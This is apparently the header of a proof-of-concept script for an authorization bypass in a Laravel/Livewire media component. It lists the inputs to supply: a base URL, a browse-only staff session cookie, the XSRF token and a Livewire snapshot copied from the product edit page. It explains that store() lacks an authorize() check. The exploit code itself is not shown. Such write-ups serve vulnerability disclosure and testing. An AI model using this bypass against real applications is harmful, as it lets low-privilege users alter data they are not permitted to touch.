Media component authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  laravel_session cookie value (browse-only staff session)
  XSRF_TOKEN      URL-decoded XSRF-TOKEN cookie value
  SNAPSHOT_JSON   the full Livewire snapshot JSON string for the Media component
                  (copy from data-livewire-snapshot in the product edit page source)

The snapshot already contains the locked product ID, so no ID substitution is needed.
The bypass is purely the missing authorize() on store().
